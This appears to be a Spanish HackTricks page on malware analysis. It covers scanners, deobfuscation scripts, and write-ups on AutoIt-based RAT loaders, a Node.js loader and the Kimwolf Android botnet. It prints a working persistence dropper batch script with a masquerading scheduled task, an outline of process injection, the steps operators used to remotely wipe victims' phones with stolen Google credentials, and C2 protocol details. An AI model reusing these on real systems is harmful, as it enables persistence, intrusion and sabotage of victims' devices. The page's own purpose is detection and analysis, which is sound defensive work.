Análisis de malware

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Hojas de referencia de Forensics

https://www.jaiminton.com/cheatsheet/DFIR/#

Servicios en línea

Herramientas antivirus y de detección sin conexión

Yara

Instalar

sudo apt-get install -y yara

Preparar reglas

Usa este script para descargar y fusionar todas las reglas yara de malware desde github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea el directorio rules y ejecútalo. Esto creará un archivo llamado malware_rules.yar que contiene todas las reglas yara para malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Escaneo

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Comprobar malware y crear reglas

Puedes usar la herramienta YaraGen para generar yara rules desde un binario. Consulta estos tutoriales: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Instalación

sudo apt-get install -y clamav

Escaneo

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa detecta potenciales capacidades maliciosas en ejecutables: PE, ELF, .NET. Por lo tanto encontrará cosas como Att&ck tactics, o capacidades sospechosas como:

  • comprobar error de OutputDebugString
  • ejecutarse como servicio
  • crear proceso

Consíguelo en el Github repo.

IOCs

IOC significa Indicator Of Compromise. Un IOC es un conjunto de condiciones que identifican algún software potencialmente no deseado o malware confirmado. Los Blue Teams usan este tipo de definiciones para buscar este tipo de archivos maliciosos en sus sistemas y redes.
Compartir estas definiciones es muy útil, ya que cuando se identifica malware en un equipo y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido.

Una herramienta para crear o modificar IOCs es IOC Editor.
Puedes usar herramientas como Redline para buscar IOCs definidos en un dispositivo.

Loki

Loki es un scanner para Simple Indicators of Compromise.
La detección se basa en cuatro métodos de detección:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) es un escáner de malware para Linux publicado bajo la licencia GNU GPLv2, diseñado en torno a las amenazas que se enfrentan en entornos de hosting compartido. Utiliza datos de amenazas provenientes de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y generar firmas para su detección. Además, los datos de amenazas también se derivan de envíos de usuarios con la LMD checkout feature y de recursos de la comunidad de malware.

rkhunter

Herramientas como rkhunter pueden usarse para revisar el sistema de archivos en busca de posibles rootkits y malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS es una herramienta que intentará encontrar strings ofuscadas dentro de ejecutables usando diferentes técnicas.

PEpper

PEpper comprueba algunas cosas básicas dentro del ejecutable (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio es una herramienta que permite obtener información de ejecutables Windows como imports, exports, headers, pero también consultará VirusTotal y encontrará potenciales técnicas Att&ck.

Detect It Easy(DiE)

DiE es una herramienta para detectar si un archivo está encrypted y también encontrar packers.

NeoPI

NeoPI es un script en Python que utiliza una variedad de statistical methods para detectar contenido obfuscated y encrypted dentro de archivos de texto/script. El propósito de NeoPI es ayudar en la detection de hidden web shell code.

php-malware-finder

PHP-malware-finder hace todo lo posible para detectar obfuscated/dodgy code así como archivos que usan funciones PHP frecuentemente usadas en malwares/webshells.

Apple Binary Signatures

Al revisar una malware sample siempre deberías check the signature del binary, ya que el developer que la firmó puede estar ya related con malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Técnicas de detección

File Stacking

Si sabes que alguna carpeta que contiene los archivos de un servidor web fue actualizada por última vez en cierta fecha, verifica la fecha en que todos los archivos del servidor web fueron creados y modificados y si alguna fecha es sospechosa, inspecciona ese archivo.

Baselines

Si los archivos de una carpeta no deberían haber sido modificados, puedes calcular el hash de los archivos originales de la carpeta y compararlos con los actuales. Cualquier cosa modificada será sospechosa.

Statistical Analysis

Cuando la información se guarda en logs puedes revisar estadísticas como cuántas veces se accedió a cada archivo del servidor web —un web shell podría ser uno de los más accedidos—.


Android in-app native telemetry (no root)

En Android, puedes instrumentar código nativo dentro del proceso de la app objetivo pre-cargando una pequeña librería logger antes de que otras libs JNI se inicialicen. Esto da visibilidad temprana del comportamiento nativo sin hooks a nivel sistema ni root. Un enfoque popular es SoTap: incluir libsotap.so para la ABI correcta en el APK e inyectar una llamada System.loadLibrary(“sotap”) temprano (p. ej., en un inicializador estático o Application.onCreate), luego recolectar logs desde rutas internas/externas o, como fallback, Logcat.

Consulta la página de reversing nativo de Android para detalles de setup y rutas de logs:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Algunos malware de Android y apps protegidas por RASP ocultan los nombres y firmas de métodos JNI decodificándolos en tiempo de ejecución antes de llamar a RegisterNatives. Cuando la instrumentación con Frida/ptrace es detenida por anti-debug, aún puedes recuperar el texto plano offline ejecutando el decodificador dentro del binario con angr y luego volcando los resultados en Ghidra como comentarios.

Idea clave: trata el decodificador dentro del .so como una función invocable, ejecútalo sobre los blobs de bytes ofuscados en .rodata y concreta los bytes de salida hasta el primer \x00 (terminador de C-string). Mantén angr y Ghidra usando la misma base de imagen para evitar desajustes de direcciones.

Resumen del flujo de trabajo

  • Triage en Ghidra: identifica el decodificador y su convención de llamadas/argumentos en JNI_OnLoad y la configuración de RegisterNatives.
  • Ejecuta angr (CPython3) para ejecutar el decodificador para cada cadena objetivo y volcar los resultados.
  • Anota en Ghidra: auto-comenta las cadenas decodificadas en cada sitio de llamada para una reconstrucción RÁPIDA de JNI.

Triage en Ghidra (patrón JNI_OnLoad)

  • Aplica los tipos de datos JNI en JNI_OnLoad para que Ghidra reconozca las estructuras JNINativeMethod.
  • JNINativeMethod típico según la documentación de Oracle:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Busca llamadas a RegisterNatives. Si la librería construye el nombre/firma con una rutina local (p. ej., FUN_00100e10) que referencia una tabla de bytes estática (p. ej., DAT_00100bf4) y toma parámetros como (encoded_ptr, out_buf, length), ese es un objetivo ideal para ejecución offline.

angr setup (execute the decoder offline)

  • Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
angr setup and offline decoder execution ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- A gran escala, construye un mapa estático de call sites hacia los argumentos del decoder (encoded_ptr, size). Los wrappers pueden ocultar argumentos, por lo que puedes crear este mapeo manualmente desde Ghidra xrefs si API recovery es ruidosa.

<details>
<summary>Decodificar por lotes múltiples call sites con angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Anotar sitios de llamada en Ghidra Opción A: escritor de comentarios solo con Jython (usar un JSON precomputado)

  • Dado que angr requiere CPython3, mantén la desobfuscación y la anotación separadas. Primero ejecuta el script angr anterior para producir decoded_strings.json. Luego ejecuta este GhidraScript en Jython para escribir PRE_COMMENTs en cada sitio de llamada (e incluir el nombre de la función llamante para contexto):
Ghidra Jython script to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternativamente, utiliza pyhidra o ghidra_bridge para controlar la API de Ghidra desde el mismo proceso CPython que ejecuta angr. Esto permite llamar a decode_string() y establecer PRE_COMMENTs inmediatamente sin un archivo intermedio. La lógica refleja el script Jython: construir un mapa callsite→function mediante ReferenceManager, decodificar con angr y establecer los comentarios.

Why this works and when to use it
- La ejecución offline evita RASP/anti-debug: no se necesita ptrace ni hooks de Frida para recuperar cadenas.
- Mantener Ghidra y angr alineados en base_addr (por ejemplo, 0x00100000) asegura que las direcciones de funciones/datos coincidan entre las herramientas.
- Receta reproducible para decoders: trata la transformación como una función pura, asigna un buffer de salida en un estado nuevo, llámala con (encoded_ptr, out_ptr, len), luego concretiza via state.solver.eval y parsea C-strings hasta \x00.

Notes and pitfalls
- Respecta el ABI/convención de llamadas objetivo. angr.factory.callable elige una según arch; si los argumentos parecen desplazados, especifica cc explícitamente.
- Si el decoder espera buffers de salida a cero, inicializa outbuf con ceros en el state antes de la llamada.
- Para .so Android position-independent, siempre proporciona base_addr para que las direcciones en angr coincidan con las vistas en Ghidra.
- Usa currentProgram.getReferenceManager() para enumerar call-xrefs incluso si la app envuelve el decoder detrás de thin stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Las familias de malware modernas abusan intensamente de la ofuscación del Control-Flow Graph (CFG): en lugar de un salto/llamada directa calculan el destino en tiempo de ejecución y ejecutan `jmp rax` o `call rax`. Un pequeño *dispatcher* (típicamente nueve instrucciones) establece el objetivo final dependiendo de las banderas `ZF`/`CF` de la CPU, rompiendo por completo la recuperación estática del CFG.

La técnica – mostrada por el loader SLOW#TEMPEST – puede ser derrotada con un flujo de trabajo de tres pasos que solo depende de IDAPython y del emulador de CPU Unicorn.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extraer el dispatcher byte-code

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emularlo dos veces con Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Ejecute run(code,0,0) y run(code,1,1) para obtener los destinos de las ramas false y true.

4. Parchear de nuevo un direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Después de parchear, obliga a IDA a reanalizar la función para que se restaure el CFG completo y la salida de Hex-Rays:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Etiquetar llamadas API indirectas

Una vez que se conoce el destino real de cada call rax, puedes indicarle a IDA qué es para que los tipos de parámetros y los nombres de variables se recuperen automáticamente:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Beneficios prácticos

  • Restaura el CFG real → la decompilación pasa de 10 líneas a miles.
  • Permite referencias cruzadas de strings y xrefs, haciendo trivial la reconstrucción del comportamiento.
  • Los scripts son reutilizables: colócalos en cualquier loader protegido por la misma técnica.

AutoIt-based loaders: descifrado .a3x, suplantación de Task Scheduler e inyección de RAT

Este patrón de intrusión encadena un MSI firmado, AutoIt loaders compilados a .a3x y una tarea de Task Scheduler que se hace pasar por una app benigna.

MSI → acciones personalizadas → orquestador AutoIt

Árbol de procesos y comandos ejecutados por las acciones personalizadas del MSI:

  • MsiExec.exe → cmd.exe para ejecutar install.bat
  • WScript.exe para mostrar un diálogo de error señuelo
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (deposita loader, establece persistence, se auto-limpia):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (señuelo de usuario):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • Deposita AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
  • Copia schtasks.exe a hwpviewer.exe (mascara como Hangul Word Processor viewer)
  • Crea una tarea programada “IoKlTr” que se ejecuta cada 1 minuto
  • LNK de inicio observado como Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Despliega módulos bajo %APPDATA%\Google\Browser\ subcarpetas que contienen adb o adv y los inicia vía los helpers autoit.vbs/install.bat

Forensic triage tips:

  • schtasks enumeration: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Busca copias renombradas de schtasks.exe co-localizadas con el XML de la tarea: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Rutas comunes: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlaciona la creación de procesos: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • Los módulos AutoIt se compilan con #AutoIt3Wrapper_Outfile_type=a3x y desencriptan payloads embebidos antes de inyectarlos en procesos benignos.
  • Familias observadas: QuasarRAT (inyectado en hncfinder.exe) and RftRAT/RFTServer (inyectado en cleanmgr.exe), así como módulos RemcosRAT (Remcos\RunBinary.a3x).
  • Patrón de desencriptado: derivar una clave AES vía HMAC, desencriptar el blob embebido, y luego inyectar el módulo en texto plano.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Flujo de inyección común (CreateRemoteThread-style):

  • CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory con módulo/shellcode descifrado
  • CreateRemoteThread or QueueUserAPC para ejecutar el payload

Hunting ideas

  • AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
  • Files with .a3x extensions or AutoIt script runners under public/user-writable paths
  • Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers

Abuso de account-takeover de Android Find My Device (Find Hub)

Durante la intrusión en Windows, los operadores usaron credenciales de Google robadas para borrar repetidamente los dispositivos Android de la víctima, suprimiendo notificaciones mientras ampliaban el acceso vía el messenger del escritorio donde la víctima estaba logueada.

Pasos del operador (desde una sesión de navegador con sesión iniciada):

  • Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
  • Select device → re-enter Google password → issue “Erase device” (factory reset); repeat to delay recovery
  • Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications

Tracing heavily obfuscated Node.js loaders

Los atacantes empaquetan cada vez más JavaScript loaders dentro de binarios Windows standalone compilados con nexe, de modo que el runtime viaja junto con el script. El PE resultante suele pesar 60–90 MB y se ejecuta incluso si Node.js no está instalado. Durante el triage:

  • Use nexe_unpacker para extraer el JavaScript embebido del PE y alimentarlo a herramientas locales para comparaciones/diffing estático.
  • Expect a disk-based mutex in %TEMP% (GachiLoader drops a random <name>.lock file that expires after ~5 minutes). Copiar el archivo al sandbox antes de la ejecución permite saltarse etapas redundantes mientras aún se observan payloads posteriores.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:

node -r .\tracer.js main.js

Las opciones de configuración clave dentro de tracer.js te permiten:

  • Registrar actividad del sistema de archivos, procesos hijos y HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Cada archivo dejado—como kidkadi.node—se copia al directorio de trabajo antes de que el malware lo elimine.
  • Sobrescribir fingerprints del entorno devolviendo recuentos realistas de RAM/CPU, falseando la salida de tasklist y manipulando respuestas de PowerShell/WMI. Esto evade loaders que exigen ≥4 GB RAM, ≥2 cores y escrutan nombres de usuario (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …) y nombres de procesos (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Anular verificaciones WMI de hardware como Get-WmiObject Win32_DiskDrive (buscando vmware, kvm, virtio, …), Win32_VideoController (bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) y conteos de Win32_PortConnector. Cuando esas sondas reportan hardware “real”, los sandboxes dejan de caer en el bucle infinito de llamadas benignas Invoke-WebRequest a linkedin.com, grok.com, whatsapp.com y dominios similares que GachiLoader usa para perder tiempo de análisis.

Capturing gated C2 traffic automatically

Los hooks de red del tracer revelan autenticación C2 en múltiples capas sin reversar la ofuscación JavaScript. En la campaña observada el loader:

  1. Hace POST de la telemetría del host a /log en cada C2 hard-coded.
  2. Realiza GET /richfamily/<per-sample key> con X-Secret: gachifamily para recuperar una URL de payload codificada en Base64.
  3. Ejecuta un GET final a esa URL con un header X-Secret largo por muestra; si falta devuelve 403 Forbidden.

Porque el tracer registra peticiones completas (headers, cuerpos, destinos), puedes reproducir el mismo tráfico para descargar payloads, volcar shells Themida/VMProtect en memoria y extraer datos de configuración de Rhadamanthys a escala.

AdaptixC2: Configuration Extraction and TTPs

Ver la página dedicada:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Buscando VEOR Q8, Q8, Q9 / veorq_s64 sequences y emulando sus rangos vuelca masivamente cada cadena descifrada, eludiendo la vida útil limitada a la pila del plaintext.

Resolución DNS-over-TLS más derivación XOR de IP

  • Todas las variantes de Kimwolf resuelven dominios C2 hablando DNS-over-TLS (TCP/853) directamente con Google (8.8.8.8) o Cloudflare (1.1.1.1), eludiendo el logging DNS plano o el hijacking.
  • Los bots v4 simplemente usan el registro A IPv4 devuelto. Los bots v5 tratan el registro A como un entero de 32 bits, intercambian su endianness, le aplican XOR con la constante 0x00ce0491, y luego vuelven a intercambiar el endianness para obtener la IP real del C2. Receta de CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding (respaldo)

  • Compilaciones posteriores añaden un dominio ENS (pawsatyou.eth) cuyo resolver text key "lol" almacena una IPv6 de aspecto benigno (fed0:5dec:...:1be7:8599).
  • El bot toma los últimos cuatro bytes (1b e7 85 99), les aplica XOR con 0x93141715, e interpreta el resultado como una IPv4 C2 (136.243.146.140). Actualizar el registro de texto ENS rota instantáneamente los C2 descendientes vía la blockchain sin tocar DNS.

TLS + ECDSA canal de comandos autenticado

  • El tráfico está encapsulado en wolfSSL con un protocolo enmarcado personalizado:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: el bot envía dos encabezados vacíos MsgType=0 (register). El C2 responde con MsgType=1 (verify) que contiene un reto aleatorio más una firma ASN.1 DER ECDSA. Los bots la verifican contra un SubjectPublicKeyInfo blob embebido; las fallas terminan la sesión, evitando que nodos C2 secuestrados/sinkhole asignen tareas a la flota.
  • Una vez verificado, el bot envía un body MsgType=0 que lleva la group string definida por el operador (p. ej. android-postboot-rt). Si el grupo está habilitado, el C2 responde con MsgType=2 (confirm), tras lo cual comienza el tasking (MsgType 5–12).
  • Los verbos soportados incluyen SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, y payloads Mirai-compatible DDoSBody (same AtkType, Duration, Targets[], Flags[] layout).

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks